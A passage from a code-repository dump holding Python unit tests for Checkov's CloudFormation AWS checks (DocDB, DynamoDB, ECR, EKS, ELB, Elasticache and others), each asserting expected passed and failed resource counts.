    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.DMSReplicationInstancePubliclyAccessible import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestDMSReplicationInstancePubliclyAccessible(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DMSReplicationInstancePubliclyAccessible\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_DeprecatedLambdaRuntime.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.cloudformation.checks.resource.aws.DeprecatedLambdaRuntime import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestDeprecatedLambdaRuntime(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_DeprecatedLambdaRuntime\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::Lambda::Function.Pass\",\n            \"AWS::Serverless::Function.Pass2\"\n        }\n        failing_resources = {\n            \"AWS::Lambda::Function.Fail\",\n            \"AWS::Serverless::Function.Fail2\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_DocDBAuditLogs.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.DocDBAuditLogs import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestDocDBAuditLogs(unittest.TestCase):\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DocDBAuditLogs\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::DocDB::DBClusterParameterGroup.DocDBParameterGroupEnabled\",\n        }\n        failing_resources = {\n            \"AWS::DocDB::DBClusterParameterGroup.DocDBParameterGroupDefault\",\n            \"AWS::DocDB::DBClusterParameterGroup.DocDBParameterGroupDisabled\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_DocDBBackupRetention.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.DocDBBackupRetention import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestDocDBAuditLogs(unittest.TestCase):\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DocDBBackupRetention\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::DocDB::DBCluster.DocDBAdequate\",\n        }\n        failing_resources = {\n            \"AWS::DocDB::DBCluster.DocDBDefault\",\n            \"AWS::DocDB::DBCluster.DocDBNotAdequate\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_DocDBEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.DocDBEncryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestDocDBEncryption(unittest.TestCase):\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DocDBEncryption\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::DocDB::DBCluster.DocDBEnabled\",\n        }\n        failing_resources = {\n            \"AWS::DocDB::DBCluster.DocDBDefault\",\n            \"AWS::DocDB::DBCluster.DocDBDisabled\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_DocDBLogging.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.DocDBLogging import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestDocDBLogging(unittest.TestCase):\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DocDBLogging\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::DocDB::DBCluster.DocDBEnabled\",\n            \"AWS::DocDB::DBCluster.DocDBAudit\",\n            \"AWS::DocDB::DBCluster.DocDBProfiler\",\n        }\n        failing_resources = {\n            \"AWS::DocDB::DBCluster.DocDBDefault\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_DocDBTLS.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.DocDBTLS import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestDocDBTLS(unittest.TestCase):\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DocDBTLS\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::DocDB::DBClusterParameterGroup.DocDBParameterGroupEnabled\",\n            \"AWS::DocDB::DBClusterParameterGroup.DocDBParameterGroupDefault\",\n        }\n        failing_resources = {\n            \"AWS::DocDB::DBClusterParameterGroup.DocDBParameterGroupDisabled\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_DynamoDBTablesEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.DynamoDBTablesEncrypted import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestDynamoDBTablesEncrypted(unittest.TestCase):\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DynamoDBTablesEncrypted\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        for record in report.failed_checks:\n            self.assertEqual(record.check_id, check.id)\n        \n        for record in report.passed_checks:\n            self.assertEqual(record.check_id, check.id)\n\n        passing_resources = {\n            \"AWS::DynamoDB::Table.KMSEncryption\"\n        }\n\n        failing_resources = {\n            \"AWS::DynamoDB::Table.DefaultEncryption\",\n            \"AWS::DynamoDB::Table.EncryptionFalse\",\n            \"AWS::DynamoDB::Table.NoEncryptionConfig\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_DynamodbGlobalTableRecovery.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.DynamodbGlobalTableRecovery import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestDynamodbGlobalTableRecovery(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DynamodbGlobalTableRecovery\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::DynamoDB::GlobalTable.MyGlobalTableRecoveryEnabled\",\n        }\n        failing_resources = {\n            \"AWS::DynamoDB::GlobalTable.MyGlobalTableRecoveryDisabled\",\n            \"AWS::DynamoDB::GlobalTable.MyGlobalTableRecoveryDefault\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_DynamodbRecovery.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.DynamodbRecovery import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestDynamodbRecovery(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DynamodbRecovery\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_EBSEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.EBSEncryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestEBSEncryption(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_EBSEncryption\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_EC2Credentials.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.EC2Credentials import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestEC2Credentials(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_EC2Credentials\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_EC2PublicIP.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.EC2PublicIP import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestEC2PublicIP(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_EC2PublicIP\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 5)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_ECRImageScanning.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.ECRImageScanning import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestECRImageScanning(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ECRImageScanning\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        for record in report.failed_checks:\n            self.assertEqual(record.check_id, check.id)\n        \n        for record in report.passed_checks:\n            self.assertEqual(record.check_id, check.id)\n\n        passing_resources = {\n            \"AWS::ECR::Repository.ImageScanTrue\",\n            \"AWS::ECR::Repository.ImageScanTrueString\"\n        }\n\n        failing_resources = {\n            \"AWS::ECR::Repository.ImageScanFalse\",\n            \"AWS::ECR::Repository.ImageScanFalseString\",\n            \"AWS::ECR::Repository.ImageScanNotSet\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_ECRImmutableTags.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.ECRImmutableTags import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestECRImmutableTags(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ECRImmutableTags\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_ECRPolicy.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.cloudformation.checks.resource.aws.ECRPolicy import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestECRPolicy(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ECRPolicy\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::ECR::Repository.Restricted\",\n            \"AWS::ECR::Repository.vpc16AA8B31E\",\n            \"AWS::ECR::Repository.CondAllPass\",\n            \"AWS::ECR::Repository.CondAnyPass\",\n            \"AWS::ECR::Repository.CondEqualsPass\",\n        }\n        failing_resources = {\n            \"AWS::ECR::Repository.Public\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(report.failed_checks[0].check_result.get('evaluated_keys'),\n                         ['Properties/RepositoryPolicyText/Statement/[0]/Principal/AWS/[2]/'])\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_ECRRepositoryEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.ECRRepositoryEncrypted import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestECRRepositoryEncrypted(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ECRRepositoryEncrypted\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        for record in report.failed_checks:\n            self.assertEqual(record.check_id, check.id)\n        \n        for record in report.passed_checks:\n            self.assertEqual(record.check_id, check.id)\n\n        passing_resources = {\n            \"AWS::ECR::Repository.KMSEncryption\"\n        }\n\n        failing_resources = {\n            \"AWS::ECR::Repository.AES256Encryption\",\n            \"AWS::ECR::Repository.NoEncryption\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_ECSClusterContainerInsights.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.ECSClusterContainerInsights import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestECSClusterContainerInsights(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ECSClusterContainerInsights\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_ECSTaskDefinitionEFSVolumeEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.ECSTaskDefinitionEFSVolumeEncryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestECSTaskDefinitionEFSVolumeEncryption(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ECSTaskDefinitionEFSVolumeEncryption\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 3)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_EFSEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.EFSEncryptionEnabled import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestEFSEncryptionEnabled(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_EFSEncryption\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_EKSNodeGroupRemoteAccess.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.EKSNodeGroupRemoteAccess import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestEKSNodeGroupRemoteAccess(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_EKSNodeGroupRemoteAccess\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_EKSSecretEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.EKSSecretsEncryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestEKSSecretEncryption(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_EKSSecretEncryption\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_ELBAccessLogs.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.ELBAccessLogs import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestELBAccessLogs(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ELBAccessLogs\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_ELBv2AccessLogs.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.ELBv2AccessLogs import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestELBv2AccessLogs(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ELBv2AccessLogs\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_ElasticacheReplicationGroupEncryptionAtRest.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.ElasticacheReplicationGroupEncryptionAtRest import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestElasticacheReplicationGroupEncryptionAtRest(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ElasticacheReplicationGroupEncryptionAtRest\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_ElasticacheReplicationGroupEncryptionAtTransit.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.ElasticacheReplicationGroupEncryptionAtTransit import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestElasticacheReplicationGroupEncryptionAtTransit(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ElasticacheReplicationGroupEncryptionAtTransit\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py",
